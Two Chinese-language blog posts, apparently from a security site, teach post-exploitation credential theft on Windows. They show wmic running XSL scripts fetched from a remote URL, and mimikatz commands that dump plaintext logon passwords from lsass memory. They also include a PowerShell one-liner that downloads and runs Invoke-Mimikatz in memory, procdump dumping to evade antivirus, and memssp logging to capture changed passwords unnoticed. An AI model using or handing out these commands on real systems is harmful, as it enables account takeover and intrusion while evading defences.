wmic与mimikatz技巧

Y4er — Sun, 10 Jun 2018 12:59:01 +0000

前言

wmic是比cmd强大的命令行。轻量级调试器神器mimikatz，后渗透常用，可以说是您

居家旅行杀人灭口必备良器

测试wmic

使用wmic能够从本地或从URL调用XSL（可扩展样式表语言）脚本。

本地：
wmic process list /FORMAT:evil.xsl
远程：
wmic os get /FORMAT:"https://example.com/evil.xsl"

本地:

privilege::debug
sekurlsa::logonpasswords

密码账号

远程:

`PowerShell`

项目：地址

升级版Demon表哥演示

总结

emmmm，多关注墙外的知识。
参考(抄袭)：
https://www.secpulse.com/archives/71380.html
https://www.t00ls.net/viewthread.php?tid=45774&extra=&page=1

密码抓取之mimikatz的妙用

Y4er — Thu, 08 Feb 2018 20:03:00 +0000

简介

mimikatz是一款功能强大的轻量级调试神器，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点也是让阿刚最感兴趣的就是他可以直接从 lsass中获取当前处于Active系统的登录密码， lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略，通常我们在登陆系统时输入密码之后，密码便会储存在 lsass内存中，经过其 wdigest 和 tspkg 两个模块调用后，对其使用可逆的算法进行加密并存储在内存之中，而mimikatz正是通过对lsass的逆算获取到明文密码！也就是说只要你不重启电脑，就可以通过他获取到登陆密码，只限当前登陆系统！

基本命令

cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码

实战抓取

只需要运行两条命令：

privilege::debug
sekurlsa::logonpasswords

我们也可以用powershell来抓取，仅需一条命令：

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

进阶

绕过杀软抓取密码

procdump

利用 procdump 导出 lsass.exe 在内存里的数据，之后 mimikatz 本地读取操作系统版本要一致

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Invoke-Mimikatz

内存中执行不会在本地储存文件，前提是要支持 powershell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

其他小技巧

若管理员有每过几天就改密码的习惯，但是mimikatz抓取到的密码都是老密码

用QuarksPwDump等抓的hash也是老hash，新密码却抓不到的情况下

可以使用以下方法尝试解决

privilege::debug
misc::memssp

记录的结果在c:\windows\system32\mimilsa.log
每次验证都会记录,如锁屏等重启失效

出现如上问题是因为管理一直没注销过，都是直接断开连接，lsass进程里面还吃存放的老的。

也可以直接logoff，但是这样会很明显。

mimikatz – ChaBug安全